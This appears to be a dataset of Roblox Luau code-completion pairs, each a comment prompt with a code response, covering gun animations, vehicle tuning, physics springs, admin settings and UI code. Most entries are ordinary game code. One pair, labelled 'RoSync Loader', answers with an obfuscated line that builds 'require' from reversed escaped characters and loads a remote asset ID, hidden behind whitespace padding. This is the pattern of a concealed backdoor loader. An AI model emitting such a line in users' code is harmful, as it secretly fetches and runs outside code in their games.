Prompt: --//Client Animations

Response:
		IdleAnim = function(char, speed, objs)
			ts:Create(objs[2],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).RightPos}):Play() -- require(script).FakeRightPos (For fake arms) | require(script).RightArmPos (For real arms)
			ts:Create(objs[3],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).LeftPos}):Play() -- require(script).FakeLeftPos (For fake arms) | require(script).LeftArmPos (For real arms)
		end;

		StanceDown = function(char, speed, objs)
			ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.875, 0.45, -1.25) * CFrame.Angles(math.rad(-75), math.rad(0), math.rad(0))}):Play()
			ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.1,-0.05,-1.65) * CFrame.Angles(math.rad(-90),math.rad(35),math.rad(-25))}):Play()
			wait(0.3)
		end;

		StanceUp = function(char, speed, objs)
			ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-1, -.75, -1.25) * CFrame.Angles(math.rad(-160), math.rad(0), math.rad(0))}):Play()
			ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(.75,-0.75,-1.35) * CFrame.Angles(math.rad(-170),math.rad(60),math.rad(15))}):Play()
			wait(0.3)
		end;

		Patrol = function(char, speed, objs)
			ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.8, 0.3, -1.15) * CFrame.Angles(math.rad(-65), math.rad(0), math.rad(0))}):Play()
			ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.9,0.4,-0.9) * CFrame.Angles(math.rad(-50),math.rad(45),math.rad(-45))}):Play()
			wait(0.3)
		end;

		SprintAnim = function(char, speed, objs)
			ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.8, 0.3, -1.15) * CFrame.Angles(math.rad(-65), math.rad(0), math.rad(0))}):Play()
			ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.9,0.4,-0.9) * CFrame.Angles(math.rad(-50),math.rad(45),math.rad(-45))}):Play()
			wait(0.3)
		end;

		EquipAnim = function(char, speed, objs)
			ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play()
			ts:Create(objs[3],TweenInfo.new(0),{C1 = CFrame.new(1.2,-0.05,-1.65) * CFrame.Angles(math.rad(-90),math.rad(35),math.rad(-25))}):Play()
			wait(0.1)
			objs[5].Handle:WaitForChild("AimUp"):Play()
			ts:Create(objs[2],TweenInfo.new(0.5),{C1 = require(script.Parent.Settings).RightPos}):Play()
			ts:Create(objs[3],TweenInfo.new(0.5),{C1 = require(script.Parent.Settings).LeftPos}):Play()
			wait(0.5)
		end;

		ZoomAnim = function(char, speed, objs)
			--ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play()
			ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.65, -0.7, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(30))}):Play()
			wait(0.3)
			ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.25, -1.1, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(5))}):Play()
			ts:Create(objs[5].g33:WaitForChild("g33"),TweenInfo.new(0.3),{C1 = CFrame.new(-0.2, 0.21, 0)*CFrame.Angles(0, 0, math.rad(90))*CFrame.new(0.225, -0.75, 0)}):Play()
			wait(0.3)
		end;

		UnZoomAnim = function(char, speed, objs)
			--ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play()
			ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.25, -1.1, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(5))}):Play()
			wait(0.3)
			ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.65, -0.7, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(30))}):Play()
			ts:Create(objs[5].g33:WaitForChild("g33"),TweenInfo.new(0.3),{C1 = CFrame.new()}):Play()
			wait(0.3)
		end;

		ChamberAnim = function(char, speed, objs)
			ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, 0.35, -1.4) * CFrame.Angles(math.rad(-115), math.rad(-10), math.rad(10))}):Play()
			ts:Create(objs[3],TweenInfo.new(0.35),{C1 = CFrame.new(-0.15,0.05,-1.2) * CFrame.Angles(math.rad(-120),math.rad(15),math.rad(15))}):Play()
			wait(0.35)
			objs[5].Bolt:WaitForChild("SlidePull"):Play()
			ts:Create(objs[3],TweenInfo.new(0.25),{C1 = CFrame.new(-0.15,-0.275,-1.175) * CFrame.Angles(math.rad(-120),math.rad(15),math.rad(15))}):Play()
			ts:Create(objs[5].Handle:WaitForChild("Bolt"),TweenInfo.new(0.25),{C0 = CFrame.new(objs[6].BoltExtend) * CFrame.Angles(0,math.rad(0),0)}):Play()
			ts:Create(objs[5].Handle:WaitForChild("Slide"),TweenInfo.new(0.25),{C0 = CFrame.new(objs[6].SlideExtend) * CFrame.Angles(0,math.rad(0),0)}):Play()
			wait(0.3)
			objs[5].Bolt:WaitForChild("SlideRelease"):Play()
			ts:Create(objs[5].Handle:WaitForChild("Bolt"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play()
			ts:Create(objs[5].Handle:WaitForChild("Slide"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play()
		end;

		ChamberBKAnim = function(char, speed, objs)
			ts:Create(objs[2],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).RightPos}):Play()
			ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(0.55,0.05,-1.5) * CFrame.Angles(math.rad(-120),math.rad(20),math.rad(0))}):Play()
			wait(0.3)
			objs[5].Bolt:WaitForChild("SlideRelease"):Play()
			ts:Create(objs[5].Handle:WaitForChild("Bolt"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play()
			ts:Create(objs[5].Handle:WaitForChild("Slide"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play()
			wait(0.15)
		end;

		CheckAnim = function(char, speed, objs)
			ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.875, 0.5, -1.15) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play()
			ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()
			wait(.35)
			local MagC = objs[5]:WaitForChild("Mag"):clone()
				objs[5].Mag.Transparency = 1
				MagC.Parent = objs[5]
				MagC.Name = "MagC"
				MagC.Transparency = 0

			local MagCW = Instance.new("Motor6D")
				MagCW.Part0 = MagC
				MagCW.Part1 = objs[3].Parent.Parent:WaitForChild("Left Arm")
				MagCW.Parent = MagC
				MagCW.C1 = MagC.CFrame:toObjectSpace(objs[3].Parent.Parent:WaitForChild("Left Arm").CFrame)
			ts:Create(MagCW,TweenInfo.new(0),{C0 = CFrame.new(.3, -0.2, .85) * CFrame.Angles(math.rad(0), math.rad(90), math.rad(90))}):Play()
			ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.45,0.475,-2.05) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()
			objs[5].Handle:WaitForChild("MagOut"):Play()
			wait(0.3)
			ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(0.15,0.475,-1.5) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(0))}):Play()
			wait(1.5)
			ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.45,0.475,-2.05) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()
			wait(0.3)
			ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()
			objs[5].Handle:WaitForChild("MagIn"):Play()
			MagC:Destroy()
			objs[5].Mag.Transparency = 0
			wait(0.3)
		end;

		ShellInsertAnim = function(char, speed, objs)
			ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, -0.365, -1.2) * CFrame.Angles(math.rad(-115), math.rad(-2), math.rad(9))}):Play()
			ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.55,-0.4,-1.15) * CFrame.Angles(math.rad(-100),math.rad(70),math.rad(-41))}):Play()
			wait(0.3)
			objs[5].Handle:WaitForChild("ShellInsert"):Play()
			ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, -0.365, -1.2) * CFrame.Angles(math.rad(-110), math.rad(-2), math.rad(9))}):Play()
			ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.6,-0.3,-1.1) * CFrame.Angles(math.rad(-100),math.rad(70),math.rad(-41))}):Play()
			objs[6].Value = objs[6].Value - 1
			objs[7].Value = objs[7].Value + 1
			wait(0.3)
		end;

		ReloadAnim = function(char, speed, objs)
			ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, 0.425, -0.75) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(30))}):Play()
			ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.35,-0.95,-1.45) * CFrame.Angles(math.rad(-130),math.rad(75),math.rad(15))}):Play()
			wait(0.3)
			ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, 0.425, -0.75) * CFrame.Angles(math.rad(-85), math.rad(0), math.rad(30))}):Play()
			ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.2,-1.5,-1.65) * CFrame.Angles(math.rad(-125),math.rad(75),math.rad(15))}):Play()

			local MagC = objs[5]:WaitForChild("Mag"):clone()
				objs[5].Mag.Transparency = 1
				MagC.Parent = objs[5]
				MagC.Name = "MagC"
				MagC.Transparency = 0

			local MagCW = Instance.new("Motor6D")
				MagCW.Part0 = MagC
				MagCW.Part1 = objs[3].Parent.Parent:WaitForChild("Left Arm")
				MagCW.Parent = MagC
				MagCW.C1 = MagC.CFrame:toObjectSpace(objs[5].Mag.CFrame)

			objs[5].Handle:WaitForChild("MagOut"):Play()

			wait(0.3)
			ts:Create(objs[3],TweenInfo.new(0.4),{C1 = CFrame.new(1.195,1.4,-0.5) * CFrame.Angles(math.rad(0),math.rad(25),math.rad(0))}):Play()
			wait(0.75)
			ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, 0.425, -0.75) * CFrame.Angles(math.rad(-85), math.rad(0), math.rad(30))}):Play()
			ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.2,-1.5,-1.65) * CFrame.Angles(math.rad(-125),math.rad(75),math.rad(15))}):Play()
			wait(0.3)
			ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, 0.425, -0.75) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(30))}):Play()
			ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.35,-0.95,-1.45) * CFrame.Angles(math.rad(-130),math.rad(75),math.rad(15))}):Play()
			objs[5].Handle:WaitForChild("MagIn"):Play()
			MagC:Destroy()
			objs[5].Mag.Transparency = 0

			if (objs[6].Value - (objs[8].Ammo - objs[7].Value)) < 0 then
				objs[7].Value = objs[7].Value + objs[6].Value
				objs[6].Value = 0
				--Evt.Recarregar:FireServer(objs[5].Value)

			elseif objs[7].Value <= 0 then
				objs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value)
				--Evt.Recarregar:FireServer(objs[5].Value)
				objs[7].Value = objs[8].Ammo
				objs[9] = false

			elseif objs[7].Value > 0 and objs[9] and objs[8].IncludeChamberedBullet then
				objs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value) - 1
				--objs[10].Recarregar:FireServer(objs[6].Value)
				objs[7].Value = objs[8].Ammo + 1

			elseif objs[7].Value > 0 and objs[9] and not objs[8].IncludeChamberedBullet then
				objs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value)
				--Evt.Recarregar:FireServer(objs[5].Value)
				objs[7].Value = objs[8].Ammo
			end
			wait(0.55)
		end;


Prompt: -- System Configuration

Response:
VisualUntilReset = true
TwoStage = false
FirstStageTime = 300


Prompt:
-- Feel free to delete this script if you would like to put
-- these items in their homes yourself 🏠

Response:
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local ServerScriptService = game:GetService("ServerScriptService")
local StarterGui = game:GetService("StarterGui")

script.Parent.FormModules.Parent = ReplicatedStorage
script.Parent.FormService.Parent = ServerScriptService
script.Parent.FormGui.Parent = StarterGui


Prompt:
----- MAGIC NUMBERS ABOUT THE TOOL -----
-- How much damage a bullet does

Response: local Damage = 28


Prompt: -- Functions

Response:
function SPRING.Create(self, mass, force, damping, speed)
	local spring	= {
		Target		= Vector3.new();
		Position	= Vector3.new();
		Velocity	= Vector3.new();

		Mass		= mass or 1;
		Force		= force or 50;
		Damping		= damping or 2;
		Speed		= speed or 1;
	}

	function spring.Shove(self, force)
		local x, y, z	= force.X, force.Y, force.Z
		if x ~= x or x == math.huge or x == -math.huge then
			x	= 0
		end
		if y ~= y or y == math.huge or y == -math.huge then
			y	= 0
		end
		if z ~= z or z == math.huge or z == -math.huge then
			z	= 0
		end
		self.Velocity	= self.Velocity + Vector3.new(x, y, z)
	end

	function spring.Update(self, dt)
		local scaledDeltaTime	= math.min(dt * self.Speed, 0.1) / ITERATIONS

		for i = 1, ITERATIONS do
			local force			= self.Target - self.Position
			local acceleration	= (force * self.Force) / self.Mass

			acceleration		= acceleration - self.Velocity * self.Damping

			self.Velocity	= self.Velocity + acceleration * scaledDeltaTime
			self.Position	= self.Position + self.Velocity * scaledDeltaTime
		end

		return self.Position
	end

	return spring
end


Prompt: --[[ Private Functions ]]

Response:
--
local function getVehicleMotors()
	local motors = {}
	for _, c in pairs(constraints:GetChildren()) do
		if c:IsA("CylindricalConstraint") then
			table.insert(motors, c)
		end
	end
	return motors
end

local function getSprings(springType)
	local springs = {}
	local trailer = PackagedVehicle:FindFirstChild("Trailer")

	local function search(children)
		local searchStrutSpring = "StrutSpring"
		local searchFrontSpring = "StrutSpringF"
		local searchTorsionSpring = "TorsionBarSpring"
		for _, c in pairs(children) do
			if c:IsA("SpringConstraint") then
				if springType == "StrutFront" then
					if string.find(c.Name, searchFrontSpring) then
						table.insert(springs, c)
					end
				elseif springType == "StrutRear" then
					if (not string.find(c.Name, searchFrontSpring)) and string.find(c.Name, searchStrutSpring) then
						table.insert(springs, c) -- we have option of Mid and Rear for these
					end
				elseif springType == "TorsionBar" then
					if string.find(c.Name, searchTorsionSpring) then
						table.insert(springs, c)
					end
				end
			end
		end
	end

	search(constraints:GetChildren())
	if trailer then
		search(trailer.Constraints:GetChildren())
	end

	return springs
end

local function getMotorVelocity(motor)
	return motor.Attachment1.WorldAxis:Dot( motor.Attachment1.Parent.RotVelocity )
end

local function adjustSpring( spring, stiffness, damping )
	spring.Stiffness = stiffness
	spring.Damping = damping
end

local function setMotorTorque(torque)
	for _, motor in pairs(Motors) do
		motor.MotorMaxTorque = torque
	end
end

local function setMotorTorqueDamped(torque, velocityDirection, accelDirection)
	for _, motor in pairs(Motors) do
		if VehicleParameters.MaxSpeed == 0 then
			motor.MotorMaxTorque = 0
		else
			local maxSpeed = VehicleParameters.MaxSpeed
			if accelDirection < 0 and velocityDirection < 0 then
				maxSpeed = VehicleParameters.ReverseSpeed
			end

			local r = math.abs(Chassis.driverSeat.Velocity.Magnitude / maxSpeed)
			motor.MotorMaxTorque = math.exp( -3 * r * r ) * torque
		end
	end
end

local function setMotorMaxAcceleration(acceleration)
	for _, motor in pairs(Motors) do
		motor.MotorMaxAngularAcceleration = acceleration
	end
end


Prompt:
--[[

function newSound(id)
	local sound = Instance.new("Sound")
	sound.SoundId = id
	sound.Parent = script.Parent.Head
	return sound
end

local sDied = newSound("rbxasset://sounds/uuhhh.wav")
local sFallingDown = newSound("rbxasset://sounds/splat.wav")
local sFreeFalling = newSound("rbxasset://sounds/swoosh.wav")
local sGettingUp = newSound("rbxasset://sounds/hit.wav")
local sJumping = newSound("rbxasset://sounds/button.wav")
local sRunning = newSound("rbxasset://sounds/bfsl-minifigfoots1.mp3")
sRunning.Looped = true

local Figure = script.Parent
local Head = waitForChild(Figure, "Head")
local Humanoid = waitForChild(Figure, "Humanoid")

function onDied()
	sDied:play()
end

function onState(state, sound)
	if state then
		sound:play()
	else
		sound:pause()
	end
end

function onRunning(speed)
	if speed>0 then
		sRunning:play()
	else
		sRunning:pause()
	end
end

Humanoid.Died:connect(onDied)
Humanoid.Running:connect(onRunning)
Humanoid.Jumping:connect(function(state) onState(state, sJumping) end)
Humanoid.GettingUp:connect(function(state) onState(state, sGettingUp) end)
Humanoid.FreeFalling:connect(function(state) onState(state, sFreeFalling) end)
Humanoid.FallingDown:connect(function(state) onState(state, sFallingDown) end)
--]]

Response:
local nextTime = 0
local runService = game:service("RunService");

while Figure.Parent~=nil do
	time = runService.Stepped:wait()
	if time > nextTime then
		move(time)
		nextTime = time + 0.1
	end
end


Prompt: --[[Steering]]

Response:
	Tune.SteerInner		= 33		-- Inner wheel steering angle (in degrees)
	Tune.SteerOuter		= 33		-- Outer wheel steering angle (in degrees)
	Tune.SteerSpeed		= .05		-- Steering increment per tick (in degrees)
	Tune.ReturnSpeed	= .1		-- Steering increment per tick (in degrees)
	Tune.SteerDecay		= 150		-- Speed of gradient cutoff (in SPS)
	Tune.MinSteer		= 10		-- Minimum steering at max steer decay (in percent)
	Tune.MSteerExp		= 1			-- Mouse steering exponential degree

	--Steer Gyro Tuning
	Tune.SteerD			= 1000		-- Steering Dampening
	Tune.SteerMaxTorque	= 50000		-- Steering Force
	Tune.SteerP			= 50000	    -- Steering Aggressiveness


Prompt: -- << SETTINGS >>

Response:
Settings={
	-- <Prefix>
	Prefix			=";" ;			-- The character used to begin each command

	-- <Owner chat colour>
	OwnerChatColour = "y" ;			--w/r/g/b/p/y    OR    white/red/green/blue/purple/yellow

	-- <Donor Perks>   **Please keep enabled to help support the development of HD Admin Commands**
	DonorItem 		= false ;
	DonorItemId 	= 10472779 ;
	DonorCommands 	= false ;

	-- <Other>
	CmdBar			= true ;		-- Enabled/disales the cmdbar - press @ to open the cmdbar
	HDIcon			= false ;		-- The HD Icon in the corner of screen (helps support the development HD Admin Commands)
	AutoPrompt		= false ;		-- This prompts all players to take a free copy of the model. Set to 'false' to disable.
	FreeAdmin		= false ;		-- Allows everyone in server to have the chosen admin. e.g.' FreeAdmin = "VIP" '. Set to False if not. You can not set to 'Owner'.
	NoticeSound		= 261082034 ;	-- Notification sound ID
	NoticeSoundVol	= 0.5 ;			-- How loud the notification sound is. Must be between 0 and 1.
	ErrorSound		= 138090596 ;	-- Error sound ID
	ErrorSoundVol	= 0.5 ;			-- How loud the error sound is. Must be between 0 and 1.
}																																																											;


Prompt: --[[ Last synced 12/13/2020 04:05                                                                                RoSync Loader ]]

Response: getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[                                                                                ]]--


Prompt: -- Make all the Hotbar Slots

Response:
for i = 1, NumberOfHotbarSlots do
	local slot = MakeSlot(HotbarFrame, i)
	slot.Frame.Visible = false

	if not LowestEmptySlot then
		LowestEmptySlot = slot
	end
end

InventoryIcon.selected:Connect(function()
	if not GuiService.MenuIsOpen then
		BackpackScript.OpenClose()
	end
end)
InventoryIcon.deselected:Connect(function()
	if InventoryFrame.Visible then
		BackpackScript.OpenClose()
	end
end)

LeftBumperButton = NewGui('ImageLabel', 'LeftBumper')
LeftBumperButton.Size = UDim2.new(0, 40, 0, 40)
LeftBumperButton.Position = UDim2.new(0, -LeftBumperButton.Size.X.Offset, 0.5, -LeftBumperButton.Size.Y.Offset/2)

RightBumperButton = NewGui('ImageLabel', 'RightBumper')
RightBumperButton.Size = UDim2.new(0, 40, 0, 40)
RightBumperButton.Position = UDim2.new(1, 0, 0.5, -RightBumperButton.Size.Y.Offset/2)


Prompt:
--[[
	Contains markers for annotating the type of an element.

	Use `ElementKind` as a key, and values from it as the value.

		local element = {
			[ElementKind] = ElementKind.Host,
		}
]]

Response:
local Symbol = require(script.Parent.Symbol)
local strict = require(script.Parent.strict)
local Portal = require(script.Parent.Portal)

local ElementKind = newproxy(true)

local ElementKindInternal = {
	Portal = Symbol.named("Portal"),
	Host = Symbol.named("Host"),
	Function = Symbol.named("Function"),
	Stateful = Symbol.named("Stateful"),
	Fragment = Symbol.named("Fragment"),
}

function ElementKindInternal.of(value)
	if typeof(value) ~= "table" then
		return nil
	end

	return value[ElementKind]
end

local componentTypesToKinds = {
	["string"] = ElementKindInternal.Host,
	["function"] = ElementKindInternal.Function,
	["table"] = ElementKindInternal.Stateful,
}

function ElementKindInternal.fromComponent(component)
	if component == Portal then
		return ElementKind.Portal
	else
		return componentTypesToKinds[typeof(component)]
	end
end

getmetatable(ElementKind).__index = ElementKindInternal

strict(ElementKindInternal, "ElementKind")

return ElementKind


Prompt: -- functions

Response:
function stopAllAnimations()
	local oldAnim = currentAnim

	currentAnim = ""
	if (currentAnimKeyframeHandler ~= nil) then
		currentAnimKeyframeHandler:disconnect()
	end

	if (currentAnimTrack ~= nil) then
		currentAnimTrack:Stop()
		currentAnimTrack:Destroy()
		currentAnimTrack = nil
	end
	return oldAnim
end

function setAnimationSpeed(speed)
	if speed ~= currentAnimSpeed then
		currentAnimSpeed = speed
		currentAnimTrack:AdjustSpeed(currentAnimSpeed)
	end
end

function keyFrameReachedFunc(frameName)
	if (frameName == "End") then


Prompt:
-- Applies a nonlinear transform to the thumbstick position to serve as the acceleration for camera rotation.
-- See https://www.desmos.com/calculator/xw2ytjpzco for a visual reference.

Response:
local function gamepadLinearToCurve(thumbstickPosition)
	return Vector2.new(
		math.clamp(math.sign(thumbstickPosition.X) * fromSCurveSpace(SCurveTransform(toSCurveSpace(math.abs(thumbstickPosition.X)))), -1, 1),
		math.clamp(math.sign(thumbstickPosition.Y) * fromSCurveSpace(SCurveTransform(toSCurveSpace(math.abs(thumbstickPosition.Y)))), -1, 1))
end


Prompt: --[[Drivetrain]]

Response:
	Tune.Config			= "AWD"		-- "FWD" , "RWD" , "AWD"
	Tune.TorqueVector	= 0			-- AWD ONLY, "-1" has a 100% front bias, "0" has a 50:50 bias, and "1" has a 100% rear bias. Can be any number between that range.

	--Differential Settings
	Tune.FDiffSlipThres	= 50		-- 1 - 100%				(Max threshold of applying full lock determined by deviation from avg speed)
	Tune.FDiffLockThres	= 50		-- 0 - 100%				(0 - Bias toward slower wheel, 100 - Bias toward faster wheel)
	Tune.RDiffSlipThres	= 80		-- 1 - 100%
	Tune.RDiffLockThres	= 20		-- 0 - 100%
	Tune.CDiffSlipThres	= 50		-- 1 - 100%				[AWD Only]
	Tune.CDiffLockThres	= 50		-- 0 - 100%				[AWD Only]

	--Traction Control Settings
	Tune.TCSEnabled		= true		-- Implements TCS
	Tune.TCSThreshold	= 20		-- Slip speed allowed before TCS starts working (in SPS)
	Tune.TCSGradient	= 20		-- Slip speed gradient between 0 to max reduction (in SPS)
	Tune.TCSLimit		= 10		-- Minimum amount of torque at max reduction (in percent)


Prompt:
--[[
TheNexusAvenger

Sets up controller groups to prevent Guis interfering with each other.
The code is from Ultimate Boxing.
--]]

Response:
local ControllerGroups = {}
local ActiveControllerGroups = {}
local ActivePriorityControllerGroups = {}

local GuiService = game:GetService("GuiService")
local UserInputService = game:GetService("UserInputService")

local LastFrame,LastActiveGroup


Prompt: -- returns 0 <= angle' < TAU such that rotation(angle') == rotation(angle)

Response:
function MathUtils:AngleAbs(angle)
    return angle%TAU
end


Prompt: ------ Programmed by BuildIntoGames; Removing this line will kill 5 children


Prompt: --[[Transmission]]

Response:
	Tune.Clutch			= true		-- Implements a realistic clutch, change to "false" for the chassis to act like AC6.81T.

	Tune.TransModes		= {"Auto","Semi"}												--[[
	[Modes]
		"Auto"		: Automatic shifting
		"Semi"		: Clutchless manual shifting, dual clutch transmission
		"Manual"	: Manual shifting with clutch

		>Include within brackets
			eg: {"Semi"} or {"Auto", "Manual"}
	>First mode is default mode													]]

	Tune.ClutchMode		= "New"												--[[
	[Modes]
		"New"		: Speed controls clutch engagement			(AC6C V1.2)
		"Old"		: Speed and RPM control clutch engagement	(AC6C V1.1)		]]

	Tune.ClutchType 	= "Clutch"										--[[
	[Types]
		"Clutch"			: Standard clutch, recommended
		"TorqueConverter"	: Torque converter, keeps RPM up
		"CVT"				: CVT, found in scooters
																		]]
	--[[Transmission]]
	--Transmission Settings
	Tune.Stall			= true		-- Stalling, enables the car to stall. An ignition plugin would be necessary. Disables if Tune.Clutch is false.
	Tune.ClutchRel		= false		-- If true, the driver must let off the gas before shifting to a higher gear. Recommended false for beginners.
	Tune.ClutchEngage	= 10		-- How fast engagement is (0 = instant, 99 = super slow)
	Tune.SpeedEngage 	= 20		-- Speed the clutch fully engages at (Based on SPS)

	Tune.ClutchKick			= true	-- (LuaInt)
	Tune.KickMult			= 15	-- Torque multiplier on launch
	Tune.KickSpeedThreshold = 40	-- Speed limit on launch (SPS)
	Tune.KickRPMThreshold 	= 1000	-- RPM limit on launch, range is created below redline

	--Clutch: "Old" mode
	Tune.ClutchRPMMult	= 1.0		-- Clutch RPM multiplier, recommended to leave at 1.0

	--Torque Converter:
	Tune.TQLock 		= false		-- Torque converter starts locking at a certain RPM

	--Torque Converter and CVT:
	Tune.RPMEngage 		= 3500		-- Keeps RPMs to this level until passed

	--Neutral Rev Limiter (Avxnturador)
	Tune.NeutralLimit	= false		-- Enables a different redline RPM for when the car is in neutral
	Tune.NeutralRevRPM	= 5000		-- The rev limiter when the car is in neutral
	Tune.LimitClutch	= false		-- Will also limit RPMs while the clutch is pressed down

	--Automatic Settings
	Tune.AutoShiftMode	= "Speed"												--[[
	[Modes]
		"Speed"		: Shifts based on wheel speed
		"RPM"		: Shifts based on RPM										]]
	Tune.AutoShiftType	= "DCT"												--[[
	[Types]
		"Rev"		: Clutch engages fully once RPM reached			(AC6C V1)
		"DCT"		: Clutch engages after a set time has passed	(AC6.81T)	]]
	Tune.AutoShiftVers	= "New"												--[[
	[Versions]
		"New"		: Shift from Reverse, Neutral, and Drive		(AC6.81T)
		"Old"		: Auto shifts into R or D when stopped.			(AC6.52S2)	]]
	Tune.AutoUpThresh	= -200		-- Automatic upshift point 	(relative to peak RPM, positive = Over-rev)
	Tune.AutoDownThresh = 1400		-- Automatic downshift point (relative to peak RPM, positive = Under-rev)

	--Automatic: Revmatching
	Tune.ShiftThrot		= 100		-- Throttle level when shifting down to revmatch, 0 - 100%

	--Automatic: DCT
	Tune.ShiftUpTime	= 0.25		-- Time required to shift into next gear, from a lower gear to a higher one.
	Tune.ShiftDnTime	= 0.125		-- Time required to shift into next gear, from a higher gear to a lower one.

	--Gear Ratios

	Tune.FinalDrive		= 3.545
	Tune.Ratios			= {
		--[[Reverse]]	3.28		,
		--[[Neutral]]	0			,
		--[[ 1 ]]		3.827		,
		--[[ 2 ]]		2.36		,
		--[[ 3 ]]		1.685		,
		--[[ 4 ]]		1.313		,
		--[[ 5 ]]		1			,
		--[[ 6 ]]		.793		,
	}
	Tune.FDMult			= 1			-- Ratio multiplier (keep this at 1 if car is not struggling with torque)


Prompt: -- local upVector2 = rightVector:Cross(forwardVector)

Response:
    return CFrame.fromMatrix(eye, rightVector, upVector) -- upVector2 - для вертикали
end


Prompt: -- Number of bullets in a clip

Response: local ClipSize = 1700


Prompt: --GoPro Hero 4 By RikOne2@InSpare

Response:
game:GetService("RunService").RenderStepped:connect(function()
		cam.CameraSubject=Cam.Value
		cam.CameraType=("Scriptable")
		cam.CoordinateFrame = Cam.Value:GetRenderCFrame()
	 	player.CameraMaxZoomDistance=0
		cam.FieldOfView = 90
end)

script.Parent.Parent.MouseButton1Click:connect(function()
cam.CameraType = ("Custom")
cam.CameraSubject=player.Character.Humanoid
player.CameraMaxZoomDistance=300
cam.FieldOfView = 70
script.Parent.Parent.Parent:Destroy()
end)

while wait() do
	if player.Character.Humanoid.Health == 0 then
		cam.CameraType = ("Custom")
cam.CameraSubject=player.Character.Humanoid
player.CameraMaxZoomDistance=300
cam.FieldOfView = 70
script.Parent.Parent.Parent:Destroy()
	end
end


Prompt: -- A CFrame that's really far away. Ideally. You are free to change this as needed.

Response: local CF_REALLY_FAR_AWAY = CFrame.new(0, 10e8, 0)


Prompt:
--[=[
	@within Shake
	@type UpdateCallbackFn () -> (position: Vector3, rotation: Vector3, completed: boolean)
]=]

Response:
type UpdateCallbackFn = () -> (Vector3, Vector3, boolean)

local RunService = game:GetService("RunService")

local Trove = require(script.Parent.Trove)

local rng = Random.new()
local renderId = 0


Prompt: --now, create the functor:

Response: Create = setmetatable({}, {__call = function(tb, ...) return Create_PrivImpl(...) end})


Prompt: --!strict

Response:
local Array = require(script.Array)
local AssertionError = require(script.AssertionError)
local Error = require(script.Error)
local mapModule = require(script.Map)
local Object = require(script.Object)
local PromiseModule = require(script.Promise)
local Set = require(script.Set)
local Symbol = require(script.Symbol)
